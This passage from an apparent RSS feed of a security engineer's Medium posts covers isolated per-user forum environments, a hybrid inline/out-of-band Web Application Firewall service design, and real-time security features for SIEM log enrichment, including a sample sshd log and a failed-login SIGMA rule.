services provided public data to all PODs (such as usernames or threads) and everyone can request each user for any data they want.</em></figcaption></figure><p>In this architecture, every Atom communicates with each other to access any data needed (such as user names, thread posts or titles) and their compromise should not allow a PAI to move through the environment before the system can destroy the exploited environment, learn from the attack and become more resilient through it. It would be similar to establishing the same level of trust that blockchain distributed applications place on each other to our current networks.</p><p>One of the usual concerns I get for the future of such an architecture is how could we scale it to millions of active users. In my implementation since any user environment active (either due to the user using it or someone actively querying it) would demand its own Kubernetes POD to be up and running I focus on having small memory footprints (with each api consuming 2mb of ram) and environments can start or die based on user demand. Other small changes would allow to have users which are heavily requested to have more replicas available to allow for growth and spikes of traffic to a particular user. Still Kubernetes was not design for such a usage so there is a lot of room for improvement to allow such an architecture to function in an efficient way and robust against denial of service attacks.</p><blockquote><strong><em>You can find the forum mentioned here: </em></strong><a href="https://drascalon.com/"><strong><em>https://drascalon.com</em></strong></a><strong><em> and try to exploit it, I hope you can send me feedback </em></strong><a href="https://twitter.com/89berner"><strong><em>@89berner</em></strong></a><strong><em> !</em></strong></blockquote><p>(Note: the site above is no longer running)</p><p>[1]: <a href="https://spaf.cerias.purdue.edu/tech-reps/823.pdf">Eugene H. Spafford, The Internet Worm Program: An Analysis (1988)</a></p><p>[2]: <a href="https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/">Andy Greenberg, The Untold Story of NotPetya, the Most Devastating Cyberattack in History. Wired, (2018)</a></p><p>[3]: <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Anderson-Bot-Vs-Bot-Evading-Machine-Learning-Malware-Detection-wp.pdf">Hyrum S. Anderson et al, Evading Machine Learning Malware Detection (2017)</a></p><p>[4]: <a href="https://arxiv.org/pdf/1801.04589.pdf">Konstantin Bottinger, Patrice Godefroid, and Rishabh Singh, Deep Reinforcement Fuzzing (2018)</a></p><p>[5]: <a href="https://www.wired.com/2017/05/accidental-kill-switch-slowed-fridays-massive-ransomware-attack/">Lily Hay Newman, How an Accidental ‘Kill Switch’ Slowed Friday’s Massive Ransomware Attack. Wired, (2017)</a></p><p>[6]: <a href="https://www.slideshare.net/scovetta/darpa-cyber-analytical-framework-kaufman">Dan Kaufman, An analytical framework for cyber security, (2011)</a></p><p>[7]: <a href="https://www.youtube.com/watch?v=G0WRV7gosRA&amp;feature=youtu.be&amp;t=839">Bruce Schneier, Information Security in the Public Interest DEFCON 27 Conference, (2019)</a></p><p>[8]: <a href="https://research.google/pubs/pub43231/">Rory Ward Betsy Beyer, BeyondCorp: A New Approach to Enterprise Security, (2014)</a></p><p>[9]: <a href="https://plasma.io/plasma-deprecated.pdf">Joseph Poon, Vitalik Buterin, Plasma: Scalable Autonomous Smart Contracts, (2017)</a></p><p>[10]: <a href="https://www.youtube.com/watch?v=y57wwucbXR8">Andrej Karpathy, Building the Software 2 0 Stack (2018)</a></p><p>[11]: <a href="https://aws.amazon.com/builders-library/workload-isolation-using-shuffle-sharding">Colm MacCárthaigh, Workload isolation using shuffle-sharding, (2019)</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb51aaca05d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building Your Own Web Application Firewall as a Service And Forgetting about False Positives]]></title>
            <link>https://89berner.medium.com/building-your-own-web-application-firewall-as-a-service-and-forgetting-about-false-positives-fb52fa9a2148?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb52fa9a2148</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-application-firewall]]></category>
            <category><![CDATA[scale]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Fri, 03 Jan 2020 21:41:39 GMT</pubDate>
            <atom:updated>2021-02-03T11:20:37.790Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The following post is a reproduction of a paper of mine which was included in the In Depth Security Vol. III book which is compiled by the DeepSec InDepth Security conference in cooperation with the Magdeburger Institut für Sicherheitsforschung (MIS). If you are interested you can buy the </em><a href="https://www.amazon.com/Depth-Security-Vol-III-Proceedings/dp/3981770048"><em>book</em></a><em> or watch the </em><a href="https://vimeo.com/ondemand/172824/307251124?autoplay=1"><em>original talk</em></a><em>!</em></p><p>When a Web Application Firewall (WAF) is presented as a defensive solution to web application attacks, there is usually a decision to be made: Will the solution be placed inline (and risk affecting users due to outages or latency) or will it be placed out of band (not affecting users but not protecting them either). This paper will cover a different approach you can take when deciding how to use any WAF at your disposal, which is to try and get the best of both worlds, making the WAF work in passive mode out of band detecting attacks and in active mode by selectively routing traffic through your WAF to decide if it should block the request or allow it. To achieve this the paper will show how to abstract the WAF around a web service, something that developers are commonly used to working with, which can result in delivering security in a targeted and scalable manner. In this network agnostic setup, a WAF web service functionality can grow horizontally, allowing you to enhance the WAF decisions with your own business knowledge. This will mean that the decision to block or to route traffic through the WAF will not only depend on the WAF’s decision but also on data about your application and its context, which can significantly reduce the false positive rate up to the point of practically not existing. This paper will go through how such a service can be built with open source examples, what alternatives are there, depending on the flexibility of the WAF used, and how this approach can be used to manually decide on the false positive rate wanted and the desired business risk depending on the attack type and it’s possible impact.</p><h3>Introduction</h3><p>Current modern websites allow the capture, processing, storage and transmission of sensitive customer data (e.g., personal details, credit card numbers, social security information, etc.) for immediate and recurrent use. To ensure that this can happen safely, organizations need to employ different types of controls and tools that allow them to increase their capacity to detect and respond to threats to their network. One of the main challenges in implementing these tools surfaces due to the requirement that for them to analyse and decide whether the traffic must be blocked they need to be placed in the middle of the traffic, adding latency to each request which can become prohibitive for applications that depend on a low latency response. Another challenging obstacle when deploying them is caused due to the false positive rate, or how common these tools decide a normal user is malicious and might block their activity, which can make the adoption of these tools much harder than they would expect.</p><h4><strong>Web Application Firewall</strong></h4><p>One of the tools which are used to protect websites from application attacks is called a Web Application Firewall (WAF). This is an application firewall for HTTP applications which applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. These are usually deployed in one of the following architectures:</p><p><strong>Inline</strong></p><p>When on inline mode, a WAF appliance is placed in the middle of the traffic between a user and a web application, allowing it to inspect and block attacks in a transparent manner to web servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/0*PpYAYegIEMUqp2PB" /></figure><p><strong>Out of band</strong></p><p>In this mode the WAF would have the ability to inspect the traffic sent to the web server but unable to react to it since it would only see a copy of the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/0*dbhSZJw_D44aOt_f" /></figure><p><strong>Agent</strong></p><p>When using an Agent mode for a WAF, software is placed in the web server imitating an inline mode with a hardware setup. While this allows an easier network placement it can become more invasive on the deployment environment and lead to less efficient resource allocation for web servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/0*KoRsrwB0BBFrBfMq" /></figure><p><strong>Cloud</strong></p><p>When using a cloud provider as a WAF solution, web servers can benefit from a simple setup and what would seem like unlimited scaling capacity. This can be achieved by allowing a third party to be placed in the middle of all traffic between web servers and their customers. The drawback of such a setup would be an increased latency incurred due to the traffic going through the cloud provider (which can be reduced if it’s the same provider used for the web application) and the risk of having the data go through a third party.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*2aeDmUtvgmvq2Wty" /></figure><h4><strong>Typical problems with WAF setups</strong></h4><p><strong>Network placement</strong></p><p>As mentioned with the out of band or inline architectures, depending on the scale of the organization what network placement strategy to use can become a challenging part of placing a installing a WAF solution. In environments where there might exist multiple datacenters hosting the applications needed to protect, ensuring that there is a complete coverage of a WAF (either placed in-line or always capturing copies of the traffic) can become a daunting task. This can lead to inefficient use of resources or a heavy investment on network changes to accommodate to the WAF solution.</p><p><strong>False positive rate</strong></p><p>One of the biggest problems with WAF solutions acting in blocking mode is the false positive rate they can generate. The false positive rate can indicate how many customers are being blocked while not actually performing an attack, which can translate into financial loss and reputational damage. One of the major reasons why WAF solutions are not placed in blocking mode is due to the false positive rate affecting enough customers that security teams are forced to stop blocking attacks, turning the solution into simply a visibility tool without the ability to stop attacks.</p><p><strong>Latency added</strong></p><p>Given that the WAF needs to inspect the traffic and decide if it should be blocked or not, latency is added by WAF applications. Depending on the network placement, and how costly the analysis operations they perform might be, this can become prohibitive to applications that depend on low latency responses to function or engage their users.</p><h3><strong>WAF as a Service</strong></h3><h4><strong>Problems it should solve</strong></h4><p><strong>Simple network placement</strong></p><p>By using an Agent, the network placement is simple to implement (since the Agent would live in the same environment as the web server) and by only using it as a relay to the WAF service it’s resource requirements are small enough to avoid affecting the web server or it’s resource allocation.</p><p><strong>No false positives should be generated</strong></p><p>Using context, historical information and business logic of the application, the service would allow the teams to manage the false positive rate making it virtually non existent if necessary.</p><p><strong>Avoid adding latency for regular users</strong></p><p>A focus on this solution would be to remove the latency impact on regular users by performing out of band analysis on the traffic. This is achieved by only turning it into an inline WAF for threats performing web application attacks against the website.</p><h4><strong>The solution</strong></h4><p>To solve these problems I developed a system that was able to work in both inline and out of band mode. By taking advantage of a small agent that would only interact with a WAF service, it’s possible to take advantage of the Agent’s architecture benefits without its drawbacks, and allow the application developers to interact with it as with any other service. This agent would not only generate logs of requests that the web servers produced but also decide in what situations further analysis by the WAF service was required (which would impact the latency of the request). The decision on whether or not the WAF service should be involved in a particular request would not be decided by the agent itself, but by an out of band process.</p><p>This process would be:</p><ul><li>1) Inspecting all the requests</li><li>2) Replaying them against the WAF service (acting in an out of band mode)</li><li>3) Updating a state store so only certain segments of the traffic which were seen as riskier (due to being involved in web application attacks or other suspicious activity) to be routed through the WAF service (acting in an in-line mode).</li></ul><p>This architecture is able to provide the best of the out of band mode (which is a lack of latency added for regular users) and of an in-line mode (the ability to stop web application attacks before they execute on a web server). During the next section I will cover how such a system can be built and what components are needed.</p><h3><strong>Components</strong></h3><h4><strong>Web Application</strong></h4><p>The web application will be the one to decide how they want to interact with the WAF service. The developers can choose to be fully in-line mode (which means it would be always adding latency to its users), exist in an out of band mode (without having the ability to block) or work in a hybrid mode. In this mode they can also decide the false positive rate they would want to accept to block attacks (if any). The web application will also be responsible for sending logs of each request with business information about it to allow the out of band evaluation to detect possible attacks.</p><h4><strong>Agent</strong></h4><p>The agent will act as a proxy for the web application with minimal footprint. It will behave differently depending on what application is using it, allowing the application to decide how to respond to attacks. The Agent will be the component to communicate in behalf of the web application to the WAF service. An alternative to an agent is using a library that can be embedded in the web application it self and performing checks against the WAF service before and after a request is processed. This can be simpler to implement, although there is a drawback with this approach: if an attack is able to compromise the web application (for example its request handling code), all visibility and defenses against web application attacks on the web server would also be compromised.</p><h4><strong>Historical database</strong></h4><p>A historical database is needed to provide the ability to understand, not just the current context, but the historical context of a request too. This can involve activity on an endpoint through time, business value of particular users or patterns of behaviour that can allow to avoid false positives due to changes on the application or the user base. An example of this would be Google’s BigQuery, which allows to perform interactive analysis of massively large datasets.</p><h4><strong>State store</strong></h4><p>The state store will allow us to store configuration that the Agent can consume, which should be fast enough to avoid latency impacting users. An example of this would be the redis in-memory key-value database.</p><h4><strong>Real time messaging service</strong></h4><p>To allow web applications to send encapsulated web request in the form of logs and have those processed, we will be using a real-time messaging service. An example of this would be Google’s PubSub.</p><h4><strong>Log processing</strong></h4><p>The log processing component will consume from the real time messaging service and from the encapsulated web requests in the form of logs recreate them and replay them to the WAF service. This will also be able to calculate risk scores through windows of time to benefit of real time context, helping deciding what traffic needs to be routed through the WAF service in an inline mode. An example of this would be Google’s Dataflow.</p><h4><strong>WAF service</strong></h4><p>The WAF service is the core component of this architecture. It receives web requests and is able to respond with risk scores based on its plugins. Due to its pluggable architecture, different types of checks can happen in parallel to evaluate a request. Based on its output, an application can decide how it wants to react to the request. The WAF service can perform several checks in parallel with:</p><p>• Open source components: Examples of them could be Modsecurity or Naxsi which are open source WAF solutions.</p><p>• Custom modules: They could be built to apply business logic checks or evaluate machine learning models against the requests.</p><p>• Proprietary software or appliances: Adding them would allows to reduce the complexity of their installation and also add a path for a simple evaluation procedure.</p><h4><strong>Detection component</strong></h4><p>The detection component will be the one to perform analysis on the result of the log processing component, replaying the requests against the WAF service out of band. It will use the information from the historical database to update the state store, which the Agent relies upon to decide which traffic would be in-line or out of band.</p><h4><strong>Visualization</strong></h4><p>To be able to understand the activity currently impact the web servers, and have visibility on attacks as well as performance metrics, a visualization solution should be placed. An example of this would be using an ELK stack (Elasticsearch, Logstash and Kibana) to store all processed requests for visualization of the historical and real time activity of the WAF service.</p><h3><strong>Architectural diagram</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*3DN-vh-gkg5HAiiE" /></figure><h3><strong>Blocking web application attacks</strong></h3><p>To take advantage of this model, we need to be able to efficiently decide what traffic to block. This will minimize the latency incurred on regular users and remove the possibility of false positives affecting them. To achieve that we will need to decide what traffic should be placed in an ‘inline’ mode in the following ways:</p><h4><strong>Traffic routing</strong></h4><p>Traffic routing is the way by which we can decide that portions of the traffic should work in an in-line mode, having every single request analysed by the WAF and blocked if it is considered a web application attack. This allows applications that have a low tolerance for latency to be able to have their traffic inspected and only add latency when a threat is detected and malicious requests need to be blocked. This can be achieved in the following ways, either by human or an automatic decision making process:</p><p><strong>Fingerprint based routing</strong></p><p>By analysing the traffic automatically in the log processing component, we can extract fingerprints that are performing web application attacks and only have those go through the WAF service (adding latency to them). These fingerprints would be extracted by combination of parts of the request (IP address, client ID, User Agent or combinations) or by particular fingerprints that might be automatically or manually added (as for 0day fingerprints or known attack patterns). While the Log processing component would be automatically creating these fingerprints and adding them to the State store component, so that the Agent is aware that the traffic must be router to the WAF service, this can also be triggered by an analyst which decides that a particular fingerprint needs to be routed through the WAF.</p><p><strong>Net block based routing</strong></p><p>Another option for routing traffic is based on a network block. This means that particular ISPs, hosting providers or other known services that have a higher risk of attacks coming from them (such as open proxies or anonymity networks like TOR) can be routed by default to the WAF service. This would happen by updating the state store with the IP address net blocks for these providers or members of the networks so that the Agent is aware that it must route such traffic to the WAF.</p><p><strong>Virtual patching</strong></p><p>For situations where a vulnerability is known to exist on particular endpoints, or where these endpoints have a higher degree of risk and need to have the WAF service inspecting every single call (not only when a threat is detected), we can enable virtual patching. This means that particular endpoints are always routed to the WAF service for analysis of requests coming to them, either for the full endpoint or a combination of parameters that might be vulnerable to attacks.</p><h4><strong>False positive rate management</strong></h4><p>To find a way to avoid blocking users which might not be performing web application attacks, we need to first differentiate between a false positive on the detection process (DFP) and a false positive on the blocking process (BFP). While we will accept having false positives on the detection process (which means thinking a particular request might be a web application attack when it’s not) we will focus on not having false positives in the blocking process (affecting those requests and blocking a normal user from accessing resources on the web server). An important point to take into account is that while it’s possible to remove the probability of false positives at all, different applications might want to balance what false positive rate they are willing to accept against the risks of increasing the likelihood of attacks from succeeding. Given the fact that the false positive rate can be decreased by getting more context around a request, the lower false positive rate we want the more context we might require, which also means more time is given to an attack to attempt to exploit the web application. Any application will need to balance its threat model against the impact of affecting users to find the right false positive rate to accept. This section will focus on how to avoid blocking user’s requests taking advantage of the information we have available, before deciding which traffic needs to be routed to the web server.</p><p><strong>Business Logic Analysis</strong></p><p>By looking at the business logic of the application we can get information relevant to change the probability of the request being part of an attack or not. This can involve the trust we can give to some request attributes, such as the IP address or the client, what business activity has happened for the user in a period of time and what impact we would have by blocking them. Leveraging these data points can allow us to reduce the impact of incorrectly blocking accounts and routing traffic through the WAF service.</p><p><strong>Historical Analysis</strong></p><p>Looking at the history of the requests and its fingerprints can help understand the risk of the request and its possible impact. This allows to compare the request against other requests which were similar or what is the rate of DFP’s (detection false positive) for that particular endpoint or type of request.</p><p><strong>Context Analysis</strong></p><p>The context analysis of a request will be a key part of avoiding BFP (blocking false positive) even if we have a high amount of DFP. This would happen given the fact that most web application attacks require many requests to be able to find an actual vulnerability on the web application. By looking at the context of a request in terms of how many requests have been marked as a possible attack, we can specify a particular false positive rate we are willing to accept and only place the suspicious traffic on the in-line mode for the WAF service if the context matches our desired BFP.</p><p><strong>An example of setting the desired BFP</strong></p><p>In the situation where we have an application that wants a BFP of 0,00001% (one request would be incorrectly blocked for every 10 million) but we have a DFP of 0.1% (one request is incorrectly considered an attack every 1 thousand). Given that the probability of a DFP is independent of other requests, by only placing traffic in an in-line mode once a score of 5 requests marked as DFP is reached we can guarantee the BFP of 0.00001%. Depending on the type of attack and threat model of the application, the BFP and its related score can be modified to get the best possible balance in terms of security and impact to users.</p><h3><strong>Conclusion</strong></h3><p>To find a way to solve the problem of latency and BFP that normal WAF setups introduce, this paper describes a strategy that mixes both the in-line and out of band modes, in a hybrid architecture, that can dynamically choose what parts of the traffic should be placed in in-line mode and which ones should continue in an out of band analysis mode. By leveraging this architecture, this does not only avoid affecting users with latency and incorrect blocking, but also improve the response capabilities by allowing multiple components to be placed as plugins of the WAF service working in parallel to perform decisions and analyse the traffic. Leveraging open source components, any organization can implement such an architecture to improve their ability to protect its users and improve their experience at their platform.</p><p><em>You can find the code for a POC of the system here: </em><a href="https://github.com/89berner/waf-api-talk"><em>https://github.com/89berner/waf-api-talk</em></a></p><h3><strong>About the author</strong></h3><p>Juan Berner is a security researcher with over 9 years of experience in the field, currently working as Security Lead Developer, SME for Application Security and Architect for security solutions at Booking.com. He has given talks in the past on how to build an open source SIEM (https://www.ekoparty.org/security-monitoring-like-the-nsa.php) and on exploiting A/B Testing frameworks (Exploiting A/B Testing for Fun and Profit).</p><h3><strong>References</strong></h3><p>• <a href="https://www.acunetix.com/websitesecurity/web-application-attack/">https://www.acunetix.com/websitesecurity/web-application-attack/</a><br>• <a href="https://www.owasp.org/index.php/Web_Application_Firewall">https://www.owasp.org/index.php/Web_Application_Firewall</a><br>• <a href="https://www.elastic.co/elk-stack">https://www.elastic.co/elk-stack</a><br>• <a href="https://redis.io/">https://redis.io/</a><br>• <a href="https://modsecurity.org/">https://modsecurity.org/</a><br>• <a href="https://github.com/nbs-system/naxsi">https://github.com/nbs-system/naxsi</a><br>• <a href="https://cloud.google.com/bigquery/">https://cloud.google.com/bigquery/</a><br>• <a href="https://cloud.google.com/pubsub/">https://cloud.google.com/pubsub/</a><br>• <a href="https://cloud.google.com/dataflow/">https://cloud.google.com/dataflow/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb52fa9a2148" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting attacks and improving response through the use of real time security features]]></title>
            <link>https://89berner.medium.com/detecting-attacks-and-improving-response-through-the-use-of-security-features-23560689bba8?source=rss-58ed3269a003------2</link>
            <guid isPermaLink="false">https://medium.com/p/23560689bba8</guid>
            <category><![CDATA[big-data]]></category>
            <category><![CDATA[features]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Juan Berner]]></dc:creator>
            <pubDate>Thu, 22 Aug 2019 07:34:31 GMT</pubDate>
            <atom:updated>2019-08-23T07:22:45.610Z</atom:updated>
            <content:encoded><![CDATA[<h3>Detecting attacks and improving response through the use of real-time security features</h3><h3>What do I mean by features?</h3><p>When you are creating a machine learning model to detect anything from fraudulent actions on a website to anomalous ssh access to a web server you need to provide the model with information that can be used to perform some sort of prediction, which are normally called features. The standard definition for a feature In machine learning is “<a href="https://en.wikipedia.org/wiki/Feature_(machine_learning)"><em>an individual measurable property or characteristic of a phenomenon being observed</em></a>.’’. While most solutions that create these kinds of features do so in an out-of-band process which might be minutes or even hours behind, this post will be focused on those features that need to be created in a real-time or near real-time fashion.</p><h3>Beyond Machine Learning</h3><p>Besides their use in Machine Learning, there are other situations where features can enhance detection and response capabilities of security teams. Through building or assisting to build several SEM’s or SIEM’s in my career one of the most common problems I faced was the lack of context when looking at a log line. You usually would have to go and pivot through different parsed components of the log to get a complete picture of the activity, but what if we could have it in the same parsed log? That means that both the system and the analyst can understand not only what happened in a log line, but the surrounding context.</p><p>As an example, this would be a high level diagram of one of my SIEM’s used for personal projects:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/0*WXnMVXdZNbXixjB7" /></figure><p>In most cases, the process would involve logs being consumed, parsed, in some cases enriched with external or internal sources and finally delivered to some sort of storage. It’s in the middle of this process where we can add another step after enriching the log line with information, which is adding context to the processed log.</p><p>If we were to explode the SIEM component we would see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JF-ZSXjakLxic4ux" /><figcaption>SIEM architecture, a red square is placed around the components that would be necessary for the near real time feature generation</figcaption></figure><p>Most people will be familiar with all the boxes except for the feature storage and the use of the graph database which are cornerstone components if you want to be able to generate security features that can be used in real-time and scale to millions of log lines per second. In this case, the usage of the Features storage (for example <a href="https://hbase.apache.org/">HBase</a>) is to compute in real-time the counter features and through the Graph DB (for example <a href="https://janusgraph.org/">JanusGraph</a>) store also graph features.</p><p>To go through a specific example, a normal log line might look like this:</p><blockquote><em>Aug 16 09:11:23 zero sshd[25177]: Invalid user unknown_user2 from 34.90.104.104 port 31632</em></blockquote><p>And later being enriched with data from databases / apis / static lists it might look like:</p><blockquote><em>{<br>“ssh_access_failure”: “preauth”,<br>“created_date”: “2019–08–16 09:11:23”,<br>“hostname”: “zero”,<br>“source_ip”: “34.90.104.104”,<br>“created_epoch”: “1565946683”,<br>“log_type”: “sshd”,<br>“user”: “unknown_user2”,<br></em><strong><em>“source_ip_is_known_cc”: 0,<br>“source_isp”: “Google Cloud”,<br></em></strong><em>}</em></blockquote><p>In this case, the last two entries would be populated through enrichments of the log source. One using threat intelligence to check if the source of the connection is a known malicious host, and another one through a static check of to which ISP the IP address belongs to.</p><p>While this can enrich the information of the log line, its missing quite a bit of context, is this the first time the IP address tried to login to the box? In general what amount of traffic are we seeing from this particular source IP address?</p><p>At this stage, products might throw out a document to be stored, which means an analyst would have to start pivoting through different parts of the document, be it the IP address or the username to try and understand what was happening around that time, what actions led to the behavior witnessed in the original log.</p><p>Here is where features come into play, they not only increase the context of the log line, but allow the analyst to perform more intelligent queries and rule engines to create context aware rules.</p><blockquote><em>{<br>“ssh_access_failure”: “preauth”,<br>“created_date”: “2019–08–16 09:11:23”,<br>“hostname”: “zero”,<br>“source_ip”: “34.90.104.104”,<br>“created_epoch”: “1565946683”,<br>“log_type”: “sshd”,<br>“user”: “unknown_user2”,<br>“source_ip_is_known_cc”: 0,<br>“source_isp”: “Google Cloud”,<br></em><strong><em>“ip_total_this_hour_sliding_window”: “26”,<br>“user_total_for_ssh_access_failure_in_hour_sliding_window”: “3”,<br>“user_total_this_hour_sliding_window”: “3”,<br>“user_to_ip_counter”: “1”,<br></em></strong><em>}</em></blockquote><p>In the now context-aware document, we can see that this is not the first time the source IP address tried to login and failed. Furthermore, we would have information on the number of logs we have related to that particular IP address, and that the user that was used has only been seen related to that particular source IP.</p><p><em>For this example I will call the “user” the </em><strong><em>feature identifier, </em></strong><em>the “total_for_ssh_access_failure” the </em><strong><em>feature</em></strong><em>, the “in_hour” section the </em><strong><em>period</em></strong><em> and “sliding_window” the </em><strong><em>type of period</em></strong><em>.</em></p><p>An important factor to consider is that this information is persisted when events are stored, which means that reviewing an event from 6 months ago would also have all the context present, making long term searches much simpler.</p><h3>How can security features be used?</h3><p>Now that I hopefully explained what I mean by security features, I will go into different examples of how these extra document tags which provide context to the log line can be used for improving detection and response.</p><h4>As a way to provide context to an analyst</h4><p>As mentioned in the previous example, a single document can provide information which was not available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mWlFrghDRmrAspCS" /><figcaption>Example of document as seen in <a href="https://www.elastic.co/products/kibana">Kibana</a></figcaption></figure><p>This means that when an analyst is looking at a particular log, they don’t need to start filtering on the IP address to check how many commands the IP address has executed in that period of time, or to realise that there are more than 20000 logs related to that IP address in an hour which in this context begs for a review of what might be going on.</p><h4>As a way to search or visualize patterns</h4><p>Usually, when searching in a tool such as Elasticsearch, we need to specify a query on the document data. While most searches might be around what activity is there for a specific user, or where did a host connect to, using features expands those capabilities to not only search for a particular event, but any event triggered after it. For example, one can search for any activity of any user that has failed to login 5 times to a box, and see all their activities from that moment on. From an analyst point of view, this is much simpler than performing searches for any user which failed 5 times, getting a list of those users and then again searching for them while trying to figure out what was the moment when the failures happened.</p><p>Another benefit is that you might want to use features to visualize patterns of behaviour. For example, plotting a graph based on all the traffic coming from users that had at least 3 failed login attempts could quickly point out to patterns of behaviour that are unexpected such as a particular focus on certain endpoints or network segments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E4YEqitBkUEyngC3" /><figcaption>Searching in Kibana for all events from users that had at least 3 failed logins in a one-hour period and executed commands after that</figcaption></figure><h4>As a way to create alerts in real-time</h4><p>Let’s imagine you are using <a href="https://github.com/Neo23x0/sigma">SIGMA</a> to create alerts while processing a log line and transforming it into a context-aware document, you could have the following rule to alert as soon as an event is seen for a user performing more than 5 failed logins on more than 2 hosts:</p><pre>title: Multiple Failed Logins with Different Accounts from Single Source System<br>description: Detects suspicious failed logins with different user accounts from a single source system<br>logsource:<br>    product: linux<br>    service: auth<br>detection:<br>    selection:<br>        pam_message: &quot;authentication failure&quot;<br>        pam_user: &#39;*&#39;<br>        pam_rhost: &#39;*&#39;<br>    timeframe: 24h <br>    condition: selection | count(pam_user) by pam_rhost &gt; 3<br>falsepositives:<br>    - Terminal servers<br>    - Jump servers<br>    - Workstations with frequently changing users <br>level: medium</pre><p>For the <a href="https://github.com/Neo23x0/sigma/blob/master/rules/linux/lnx_susp_failed_logons_single_source.yml">previous example</a>, most tools would use something like <a href="https://www.elastic.co/">Elasticsearch</a> to perform the aggregations needed to trigger the alert (for example using <a href="https://github.com/Neo23x0/sigma/blob/master/contrib/sigma2elastalert.py">sigma2elastalert</a>). While this is quite convenient, it does mean that the time to respond will largely depend on your time to deliver data to <a href="http://www.elastic.co/">Elasticsearch</a> and have it indexed properly for a job to perform the query, and on top of this the load on the cluster will be a lot higher due to the number of aggregations that constantly need to be executed.</p><p>Using features in your documents, the component that is parsing and creating the processed documents would be able to perform the same checks (use a feature on a sliding window of the selected time frame and alert if the condition matches). For the example provided, this would be a unique counter feature of an authentication failure that would be incremented for the amount of failed users on a single host.</p><h4>As a way to perform simple historical queries</h4><p>Another benefit of this approach is that if you were to store this data in long term storage such as <a href="https://cloud.google.com/bigquery">Big Query</a>, when evaluating a new alert you could rerun the same query over large periods of time, since the check is a simple comparison with the features present in the documents stored. This is possible since any rule would be a combination of document tags and their values. Instead of having to perform aggregations on a year’s worth of data, the query would simply compare each document against an expected set of tags being present and their values to trigger an alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jSPysqnQ81PxZTuA" /></figure><p><em>Here it’s an example of a query in </em><a href="https://cloud.google.com/bigquery)"><em>Big Query</em></a><em> where it would perform a simple check on any event that had stored as a feature in the document the amount of failed logins for the user in a sliding window of one hour. This would allow to easily perform a one-year check of how many alerts would have triggered with a different threshold.</em></p><h3>Types of features</h3><p>Now that I hopefully showed the value of these features, there are some ways we can categorize them which will have technical implications on their possible implementations.</p><h3>By their time constraints</h3><h4>Fixed window features</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/0*k3y_1f0kDi_zMd3b" /><figcaption>Example of fixed windows for particular keys (features in this case). Image source <a href="https://www.infoq.com/articles/dataflow-apache-beam">here</a>.</figcaption></figure><p>These features are simple to calculate but can usually provide less value given they are prone to not reflect an accurate picture of the context depending on the window size. Examples are windows that count unique or total amount of logs related to a particular property and that should happen in a fixed period of time, such as in one particular day or hour. For example, if you were to state that an IP address should not perform more than 5 failed logins in one hour, and if one does 3 failed logins at 13:59:58 and 4 at 14:00:05, then you would not alert since the total counts are for 3 at 13pm and for 4 at 14pm.</p><h4>Sliding window features</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/0*shDoLMwWBtCGEy7m" /><figcaption>Example of sliding windows for particular keys (features in this case). Image source <a href="https://www.infoq.com/articles/dataflow-apache-beam">here</a>.</figcaption></figure><p>Sliding window features are more complicated to calculate since they need to be able to provide counts in any period of time-related to the time frame they intend to represent. In the previous example, an alert should trigger around 14:00:05 since in a sliding window period of one hour we reached 7 failed logins for a particular IP address. This complexity is justified by the power it brings, of being able to state for any log the properties present for a particular period of time previous to the log line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CESBnw5wmmiFEuvY" /><figcaption>Capture of Kibana displaying documents found and their feature values.</figcaption></figure><p>In the previous image, there is a strange situation where the sliding window feature “<em>user_total_for_ssh_access_failure_in_hour_sliding_window</em>” seems to have its number go up and down, while a dictionary attack is trying to guess the root user’s password. This is due to keeping the last hour and a constant attack averages the amount of guessed passwords around 700 per hour.</p><p><em>Note: There is a trade-off to consider depending on how a sliding window might be implemented if this is done through a features log the storage and performance of counting can become unmanageable for counter features, or unique features of high cardinality. If this is not done through a feature’s log, then there are trade-off to consider for how accurate you want the sliding window to be. In my case, I reduce the granularity to a single minute meaning that a sliding window of 1 hour might be off for 1 minute in its values.</em></p><h3>By how they store their values</h3><h4>Counter features</h4><p>You can draw parallels from this type of features to how normal rate limiting implementations work. By counting somewhere the number of times a particular event happened, you can keep track of the number of those events for the period of time you are interested. For example, you might count the amount of failed logins for a user.</p><h4>Unique value features</h4><p>In this case, what we care about is not how many times a particular set of events have been seen, but how many unique tokens related to those events exist for a period of time. As an example, you might not care too much about the amount of failed logins to a particular host performed by a particular user, as much as to how many boxes the user tried to log in.</p><h4>Graph features</h4><p>While in practice 